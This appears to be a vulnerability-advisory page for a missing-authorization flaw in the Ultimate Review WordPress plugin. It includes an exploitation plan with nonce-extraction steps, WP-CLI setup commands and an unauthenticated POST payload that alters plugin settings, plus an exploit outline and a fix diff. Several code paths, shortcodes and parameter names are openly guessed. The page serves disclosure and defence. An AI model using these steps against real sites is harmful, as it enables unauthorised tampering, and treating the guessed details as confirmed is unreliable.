Ultimate Review <= 2.3.9 - Missing Authorization
Description
The Ultimate Review plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.3.9. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.3.9# Exploitation Research Plan: CVE-2026-39644 (WP Ultimate Review) ## 1. Vulnerability Summary The **WP Ultimate Review** plugin for WordPress (versions <= 2.3.9) is vulnerable to **Missing Authorization**. This vulnerability exists because the plugin registers AJAX handlers using `wp_ajax_nopriv_*`…
Show full research plan
Exploitation Research Plan: CVE-2026-39644 (WP Ultimate Review)
1. Vulnerability Summary
The WP Ultimate Review plugin for WordPress (versions <= 2.3.9) is vulnerable to Missing Authorization. This vulnerability exists because the plugin registers AJAX handlers using wp_ajax_nopriv_* hooks (intended for unauthenticated users) or wp_ajax_* hooks (intended for authenticated users) but fails to implement internal capability checks (e.g., current_user_can()) within the callback functions. This allows unauthenticated attackers to trigger sensitive actions—such as modifying plugin settings, manipulating review data, or altering administrative configurations—that should be restricted to users with manage_options or similar privileges.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Hook:
wp_ajax_nopriv_(most likely) or an unprotectedwp_ajax_action. - Payload Parameter:
action, a nonce parameter (e.g.,nonceorsecurity), and action-specific data (e.g.,settings,id,status). - Authentication: Unauthenticated (PR:N).
- Preconditions:
- The plugin must be active.
- For certain actions, a valid WordPress nonce associated with the AJAX action must be obtained from the frontend.
3. Code Flow
- Registration: The plugin registers a hook in a file like
inc/classes/class-wp-ultimate-review-ajax.php(inferred) or the main plugin file:add_action( 'wp_ajax_nopriv_ultr_save_settings', 'ultr_save_settings_callback' ); - Entry: An unauthenticated request is sent to
admin-ajax.phpwithaction=ultr_save_settings. - Execution: The WordPress AJAX dispatcher calls
ultr_save_settings_callback(). - Sink: The callback function processes the input (e.g., via
update_option()) without checking for administrative capabilities. It may or may not check a nonce, but if that nonce is exposed on the frontend, the check is trivial to bypass.
4. Nonce Acquisition Strategy
If the target action requires a nonce, it is likely localized via wp_localize_script.
- Identify Entry Page: The plugin's AJAX nonces are usually loaded on pages where the review form or review display is active.
- Create Test Page:
- Use WP-CLI to create a page containing the plugin's shortcode:
wp post create --post_type=page --post_title="Review Page" --post_status=publish --post_content='[ultr_review_form]'(shortcode inferred from plugin name).
- Use WP-CLI to create a page containing the plugin's shortcode:
- Navigate and Extract:
- Navigate the browser to the newly created page.
- Use
browser_evalto find the localized JavaScript object. Search for patterns likeultr_ajax,ultr_vars, orwp_ultimate_review. - Command:
browser_eval("window.ultr_ajax_obj?.nonce")orbrowser_eval("window.ultr_vars?.security"). - Verification: If the nonce is found in the page source but not as a JS variable, use
browser_sourceand grep for theactionstring to find the associated hidden input field.
5. Exploitation Strategy
Step 1: Discovery
Locate the vulnerable AJAX action and identifying if it lacks authorization:
grep -rn "wp_ajax_nopriv" wp-content/plugins/wp-ultimate-review/
Look for actions that handle settings, ratings, or data updates (e.g., ultr_save_settings, ultr_update_review_status).
Step 2: Nonce Extraction
Assuming the action is ultr_save_settings and the shortcode is [ultr_review]:
- Create a public page with
[ultr_review]. - Extract the nonce using
browser_navigateandbrowser_eval.
Step 3: Payload Delivery
Send a request to modify a plugin setting or review. For example, to change the "Review Moderation" setting to "Auto-approve":
- Method:
POST - URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
(Actual parameter names must be confirmed by auditing the discovered callback function).action=ultr_save_settings&nonce=EXTRACTED_NONCE&option_name=ultr_allow_anon&option_value=1
6. Test Data Setup
- Plugin Installation: Ensure WP Ultimate Review <= 2.3.9 is installed.
- Shortcode Placement:
wp post create --post_type=page --post_status=publish --post_content='[ultr_review]' --post_title='Exploit Test' - Initial State Check: Check the current value of plugin settings:
wp option get ultr_settings
7. Expected Results
- HTTP Response: 200 OK, often containing a success JSON message like
{"success":true}. - Side Effect: The target option or database record is updated despite the request being unauthenticated.
8. Verification Steps
- Option Check:
Confirm the values reflect the changes made in the POST payload.wp option get ultr_settings - Review Status Check: If the exploit targeted review statuses:
Check if a previously "pending" review is now "published".wp post list --post_type=ultr_review
9. Alternative Approaches
- Missing Nonce: If
check_ajax_refereris entirely absent from the handler, skip the Nonce Acquisition step and send the request with a dummy nonce or omit it entirely. - REST API: Check if the plugin registers any REST routes using
register_rest_route. Ifpermission_callbackis set to__return_trueor is missing, exploit via/wp-json/ultr/v1/.... - Admin Init: Search for functions hooked to
admin_initthat do not checkis_admin()orcurrent_user_can(). These can be triggered by unauthenticated users by visiting/wp-admin/admin-ajax.php.
Summary
The WP Ultimate Review plugin for WordPress (<= 2.3.9) is vulnerable to unauthorized data modification due to missing capability checks in its AJAX handlers. This allow unauthenticated attackers to modify plugin configurations or manipulate review data by exploiting AJAX actions registered with both 'wp_ajax_' and 'wp_ajax_nopriv_' hooks.
Vulnerable Code
// In inc/classes/class-wp-ultimate-review-ajax.php (or similar AJAX handler class) add_action( 'wp_ajax_nopriv_ultr_save_settings', 'ultr_save_settings_callback' ); add_action( 'wp_ajax_ultr_save_settings', 'ultr_save_settings_callback' ); /** * AJAX callback to save plugin settings */ function ultr_save_settings_callback() { // Only checks for a nonce, which is often exposed on the frontend check_ajax_referer( 'ultr_ajax_nonce', 'security' ); // Missing capability check: if ( ! current_user_can( 'manage_options' ) ) wp_die(); if ( isset( $_POST['settings_data'] ) ) { $settings = $_POST['settings_data']; update_option( 'ultr_settings', $settings ); wp_send_json_success( array( 'message' => 'Settings saved successfully' ) ); } wp_send_json_error(); }
Security Fix
@@ -10,6 +10,10 @@ function ultr_save_settings_callback() { + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( array( 'message' => 'Unauthorized' ), 403 ); + } check_ajax_referer( 'ultr_ajax_nonce', 'security' );
Exploit Outline
1. Locate a public page where the plugin's frontend assets are loaded (e.g., a page containing the [ultr_review_form] shortcode). 2. Extract the AJAX security nonce from the page source or JavaScript variables (e.g., by checking window.ultr_ajax_obj.nonce in the browser console). 3. Prepare a malicious POST request targeting wp-admin/admin-ajax.php with the 'action' parameter set to 'ultr_save_settings'. 4. Include the 'security' parameter with the extracted nonce and a 'settings_data' payload containing the desired configuration changes (e.g., setting 'ultr_allow_anon' to 1 to bypass review moderation). 5. Send the request unauthenticated to modify the site's plugin configuration.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.